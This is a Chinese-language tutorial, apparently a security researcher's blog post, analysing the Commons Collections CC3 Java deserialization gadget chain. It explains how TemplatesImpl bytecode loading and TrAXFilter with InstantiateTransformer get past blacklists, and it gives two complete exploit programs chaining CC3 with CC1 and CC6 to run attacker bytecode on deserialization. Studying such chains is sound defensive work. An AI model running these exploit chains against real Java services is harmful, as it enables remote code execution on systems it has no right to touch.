CC3

前面链子都是命令执行,但很多时候服务器的黑名单会选择禁用 Runtime,因此CC3用到动态类加载实现自动执行恶意类代码

image-20230313090142115

回顾一下类的动态加载这块的东西

image-20230313110500668

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

对于 findClass() 方法:

  • 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下
  • 通常由子类去实现
1
2
3
4
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
// findClass 方法的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class NetworkClassLoader extends ClassLoader {
String host;
int port;

public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}

private byte[] loadClassData(String name) {
// load the class data from the connection
}
}
// 子类的实现方式

defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类,但此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化

开始由下往上分析CC3链:

首先我们先看看有什么方法调用defineClass,这里defineClass为protected,我们需要找到重写他并且为pubilc的方法

image-20230313105017567

在Templateslmpl中找到合适的defineClass

image-20230313104651089

查找调用这个defineClass的地方,我们跟到了defineTransletClasses()下,他执行了一个loader.defineClass(_bytecodes[i]),相当于这里可以将我们的恶意类返回来,我们需要满足上面的条件,_bytecodes 不为空,_tfactory 不为空

image-20230313114533067

但defineTransletClasses方法是一个私有方法,我们看看谁调用了这个方法

image-20230313112742341

选择defineTransletClasses() 方法,这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码

image-20230313111424374

这里要_name不为空,_Class为空才能执行defineTransletClasses()方法,最后将返回来的恶意类进行实例化,可以通过反射修改参数值满足要求。但是这个getTransletInstance() 方法是私有的,还得继续找

image-20230313111602672

我们找到了newTransformer的位置,分析代码我们只需要执行newTransformer就可以了

_class 的值应当为 null,TemplatesImpl 的构造方法中没有给 _class 赋初值,所以不用管它

_name 的值,这里需要的是 String,所以我们通过反射简单赋个 String 即可

_bytecodes 这个比较难,我们过一遍:

image-20230313125130933 image-20230313120511914

_bytecodes 需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。这个一维数组里面我们需要存放恶意的字节码

先写一个 Test.class 的恶意类并编译,直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码

image-20230313120318823

这一段伪代码可以这样写

1
2
byte[] code = Files.readAllBytes(Paths.get("刚刚生成的.class文件绝对路径"));
byte[][] codes = {code};

还有 _tfactory ,我们也过一遍

image-20230313125228345

_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,不可被序列化

直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何。在 readObject() 方法中,找到了 _tfactory 的初始化定义

image-20230313125526660

得到最终完整的 EXP ,但报了空指针错误

image-20230313125817209

按照道理来说上面的 EXP 已经挺完美的了,但是运行的时候不但没有弹出计算器,反而还报错了

TemplatesImpl 类第 393 行 if (_bytecodes == null) 那里打断点,调试之后发现问题出在这儿

image-20230313130731302

418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类

image-20230313130843393

或者我们可以将 _auxClasse 赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET 这个父类,会导致 _transletIndex 的值为 -1,仍然会在第 426 行的判断当中跳出程序。所以恶意类必须继承 ABSTRACT_TRANSLET 这个父类

修改后的恶意类,重新编译

image-20230313130941389

成功执行命令

image-20230313131028332

拼接CC1/CC3链的前半部分,相当于换了一个代码执行的方法

image-20230313161447093

image-20230313160605765

ysoserial 正版链子的 TemplatesImpl 的实现方式

有些情况不仅把Runtime.exex()过滤了,把InvokeTransformer也过滤了,要换一个类

image-20230313163122699

只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,查找调用 newTransformer() 方法的地方

这里找到TrAXFilter这个类

image-20230313172811328

虽然它没继承Serializable接口,不能序列化,但是它的构造函数是有搞头的,我们只要执行这个类的构造函数即可命令执行

CC3 这里的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer,这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform 方法,完美契合我们的需求

image-20230313173145786

InstantiateTransformer构造函数传入 new Class[]{Templates.class}new Object[]{templates}

image-20230313173248270

然后调用InstantiateTransformer的transform方法获取TrAXFilter的构造器并调用构造函数即可

image-20230313174112454

这样后半部分 EXP 就写好了,我们去找入口类的前半部分。前半部分链子是从谁调用了 transform 方法开始,所以 CC1 链和 CC6 链的前半部分 EXP 都是有效的

拼接CC6:

image-20230313180109757

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field byteField = c.getDeclaredField("_bytecodes");
byteField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\micgo\\IdeaProjects\\CommonCollection\\target\\classes\\Test.class"));
byte[][] codes = {code};
byteField.set(templates,codes);

Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1); 前面我们定义了new ConstantTransformer(templates),这个类是需要我们传参的,传入1即可

HashMap<Object,Object> map = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); //第二个参数任意,因为后面反射会修改

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.clear(); //把值删了,不然反序列化的时候已经存在key值
Class c2 = LazyMap.class;
Field factoryField = c2.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

拼接CC1:

image-20230313181449089

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field byteField = c.getDeclaredField("_bytecodes");
byteField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\micgo\\IdeaProjects\\CommonCollection\\target\\classes\\Test.class"));
byte[][] codes = {code};
byteField.set(templates,codes);

Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1); 前面我们定义了new ConstantTransformer(templates),这个类是需要我们传参的,传入1即可

HashMap<Object,Object> map = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annocationInvocationHandler = c2.getDeclaredConstructor(Class.class,Map.class);
annocationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annocationInvocationHandler.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

噢还有就是这一段注释掉也是可以执行的,只有直接执行的时候需要手动赋值,反序列化的时候会自动赋值

image-20230313182055186

再来回顾一下流程图

image-20230313163122699